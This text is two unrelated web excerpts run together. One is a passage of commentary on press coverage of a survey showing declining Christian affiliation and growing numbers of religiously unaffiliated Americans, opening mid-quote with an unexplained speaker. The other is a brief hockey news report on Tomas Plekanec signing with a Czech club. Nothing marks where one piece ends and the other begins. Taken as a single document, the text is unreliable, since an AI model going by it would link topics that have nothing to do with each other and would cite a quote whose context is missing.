"You use it as a time to really get to know the person," Semesco said.
But why are many opting to go this direction when it comes time to remember a loved one? Is there — just possibly — a religion angle in this trend? Or, given the rise of the nones, an "absence of religion" angle?
Most mainstream reporters took their cue from the report’s headline: Christians Decline Sharply as Share of Population; Unaffiliated and Other Faiths Continue to Grow. They seemed unaware there’s been a ton of books out in the past seven years about increasing numbers of disaffected Christians -- especially the young -- who are leaving church. More on that old-news angle later.
To sum it up, the "nones" (2012 study found here) are still growing, other religions are up a bit or holding their own and mainline Protestants and Catholics are declining very, very fast. Evangelical Protestants, now the dominant stream of the nation's Protestants at 55 percent, went down by less than 1 percent, hardly a “sharp” decline. But it took some scribes awhile to arrive at that important distinction. |
Tomas Plekanec's NHL career might be over, but he's still playing hockey.
HC Kometa Brno, the two-time defending champions of the Czech Extraliga, announced the signing of the 36-year-old centre on Monday.
A native of Kladno, Plekanec spent three seasons with HC Kladno at the beginning of his career in 1998 and then joined Rytiri Kladno during the lockout in 2012.
Among those who Plekanec will call teammate include a handful of players well known to North American fans, including longtime Nashville Predators forward Martin Erat and the eighth overall pick of the 2006 NHL Entry Draft, Peter Mueller.
Plekanec appeared in 1,001 NHL games over 15 seasons with the Montreal Canadiens and Toronto Maple Leafs, scoring 233 goals and 273 assists. |
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